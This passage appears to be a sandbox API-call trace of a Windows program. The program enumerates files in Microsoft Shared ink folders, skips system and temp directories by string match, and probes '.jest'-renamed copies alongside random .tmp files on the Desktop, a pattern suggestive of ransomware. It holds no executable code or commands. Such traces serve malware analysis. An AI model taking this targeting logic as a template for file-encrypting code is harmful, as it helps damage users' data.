ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7754324e, cFileName="qnz PZUtxzM 8Gg46jQ bDoBmIOVwo2DWo9mUJ2zMp5Cw71uW9HvynhMdI0sBJUs CGqogK18Vct-fw0Q nlBAFHqWCzVk7Ig.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.272] GetLastError () returned 0x2 [0121.272] GetLastError () returned 0x2 [0121.272] SetLastError (dwErrCode=0x2) [0121.272] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.273] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_kor.xml_f4ee1eeb", iMaxLength=122 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_kor.xml_f4ee1eeb") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_kor.xml_f4ee1eeb" [0121.273] lstrcpynW (in: lpString1=0x14da79c, lpString2="base_kor.xml", iMaxLength=13 | out: lpString1="base_kor.xml") returned="base_kor.xml" [0121.273] lstrcpynW (in: lpString1=0x146907c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.273] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x53 [0121.273] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.273] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x53 [0121.273] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.273] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x53 [0121.274] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x53 [0121.274] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x53 [0121.274] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.274] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 0x53 [0121.274] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.274] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.274] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.275] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.275] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.275] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.275] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x18e870*="base_kor.xml") returned 0x52 [0121.277] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.jest", lpFilePart=0x18e870*="base_kor.xml.jest") returned 0x57 [0121.279] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x18e6d8*="base_kor.xml") returned 0x52 [0121.279] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x8c, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 0x143ce48 [0121.279] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.279] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x18e780*="base_kor.xml") returned 0x52 [0121.280] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.280] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x18e780*="base_kor.xml") returned 0x52 [0121.281] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.281] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3ae)) [0121.281] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.281] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3ae)) [0121.281] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3ae)) [0121.281] GetUserDefaultLCID () returned 0x409 [0121.281] VarBstrFromR4 (in: fltIn=0x479442f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.95") returned 0x0 [0121.281] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x18e780*="base_kor.xml") returned 0x52 [0121.282] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.282] GetCurrentProcessId () returned 0x9e0 [0121.282] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.282] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.283] GetFullPathNameA (in: lpFileName="VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", lpFilePart=0x18e708*="VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp") returned 0x8c [0121.283] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFilePart=0x18e708*="base_kor.xml") returned 0x52 [0121.283] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", lpUsedDefaultChar=0x0) returned 103 [0121.283] GetFullPathNameA (in: lpFileName="VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", lpFilePart=0x18e6e4*="VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp") returned 0x8c [0121.283] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VJ89q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39384a56, cFileName="q-Vf1QMeglJpt4UYdTB-V1Ok0l1VUy1Oovc369hE_rWkQShIt5Lv3J-VFG86mlDlOXKcxP4Fjzibq5iCOSewNKUVfgM6G3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.284] GetLastError () returned 0x2 [0121.284] GetLastError () returned 0x2 [0121.284] SetLastError (dwErrCode=0x2) [0121.284] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.284] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_rtl.xml_f6f29de7", iMaxLength=122 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_rtl.xml_f6f29de7") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_rtl.xml_f6f29de7" [0121.284] lstrcpynW (in: lpString1=0x14da79c, lpString2="base_rtl.xml", iMaxLength=13 | out: lpString1="base_rtl.xml") returned="base_rtl.xml" [0121.285] lstrcpynW (in: lpString1=0x146907c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.285] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x53 [0121.285] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.285] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x53 [0121.285] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.285] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x53 [0121.285] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.285] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x53 [0121.286] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.286] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x53 [0121.286] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.286] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 0x53 [0121.286] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.286] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.286] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.286] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.286] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.287] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.287] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x18e870*="base_rtl.xml") returned 0x52 [0121.289] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.jest", lpFilePart=0x18e870*="base_rtl.xml.jest") returned 0x57 [0121.291] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x18e6d8*="base_rtl.xml") returned 0x52 [0121.291] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x8c, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 0x143ce48 [0121.291] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.291] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x18e780*="base_rtl.xml") returned 0x52 [0121.292] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.292] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x18e780*="base_rtl.xml") returned 0x52 [0121.293] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.293] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3be)) [0121.293] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.293] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3be)) [0121.293] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x3be)) [0121.293] GetUserDefaultLCID () returned 0x409 [0121.293] VarBstrFromR4 (in: fltIn=0x479442fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.96") returned 0x0 [0121.294] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x18e780*="base_rtl.xml") returned 0x52 [0121.294] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.294] GetCurrentProcessId () returned 0x9e0 [0121.294] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.295] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.295] GetFullPathNameA (in: lpFileName="A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", lpFilePart=0x18e708*="A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp") returned 0x8d [0121.295] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFilePart=0x18e708*="base_rtl.xml") returned 0x52 [0121.295] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", lpUsedDefaultChar=0x0) returned 104 [0121.296] GetFullPathNameA (in: lpFileName="A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", lpFilePart=0x18e6e4*="A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp") returned 0x8d [0121.296] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A D3NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33442041, cFileName="NMuV jb5zUFkVLsSoX0iLuu4y5fx6KTFARNNXo5KCRDHU_udCZuADcwgTQmFCBeWez4uEIOItBoPi3V5qibxj07B-mF4YrU.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.296] GetLastError () returned 0x2 [0121.296] GetLastError () returned 0x2 [0121.296] SetLastError (dwErrCode=0x2) [0121.296] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.297] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ja-jp.xml_3ab9bd47P", iMaxLength=119 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ja-jp.xml_3ab9bd47") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ja-jp.xml_3ab9bd47" [0121.297] lstrcpynW (in: lpString1=0x14da79c, lpString2="ja-jp.xml", iMaxLength=10 | out: lpString1="ja-jp.xml") returned="ja-jp.xml" [0121.297] lstrcpynW (in: lpString1=0x146907c, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program 